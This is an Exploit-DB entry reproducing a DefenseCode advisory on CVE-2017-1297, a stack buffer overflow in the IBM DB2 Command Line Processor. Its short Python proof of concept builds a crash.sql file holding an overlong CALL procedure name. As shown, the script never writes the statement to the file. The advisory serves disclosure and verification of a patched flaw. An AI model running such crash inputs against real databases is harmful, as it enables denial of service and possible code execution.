IBM DB2 9.7 / 10.1 / 10.5 / 11.1 - Command Line Processor Buffer Overflow

EDB-ID: 42260
Author: defensecode
Published: 2017-06-26
CVE: CVE-2017-1297
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Denial of Service (DoS)
Vulnerable App: N/A

            DefenseCode Security Advisory 
IBM DB2 Command Line Processor Buffer Overflow

Advisory ID: DC-2017-04-002
Advisory Title: IBM DB2 Command Line Processor Buffer Overflow
Advisory URL:
Software: IBM DB2
Version: V9.7, V10.1, V10.5 and V11.1 on all platforms
Vendor Status: Vendor Contacted / Fixed (CVE-2017-1297)
Release Date: 26.06.2017
Risk: High

1. General Overview
IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) Command
Line Process (CLP) is vulnerable to a stack based buffer overflow, caused
by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly
long procedure name inside a CALL statement.

2. Software Overview
DB2 is a database product from IBM. It is a Relational Database Management
System. DB2 is designed to store, analyze and retrieve the data efficiently.
DB2 currently supports Linux, UNIX and Windows platforms.

db2bp is a persistent background process for the DB2 Command Line
and it is the process which actually connects to the database.

3. Brief Vulnerability Description
By providing a specially crafted command file to the db2 CLP utility, it is
possible to cause a buffer overflow and possibly hijack the execution flow
of the program. Crafted file contains a CALL statement with an overly long
procedure parameter.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
file that can be used to verify the vulnerability:



load_overflow = 'A' * 1000
statement = "CALL " + load_overflow + ";"

crash_file = open("crash.sql", "w")


PoC usage: db2 -f crash.sql

4. Credits
Vulnerability discovered by Leon Juranic, further analysis by Bosko

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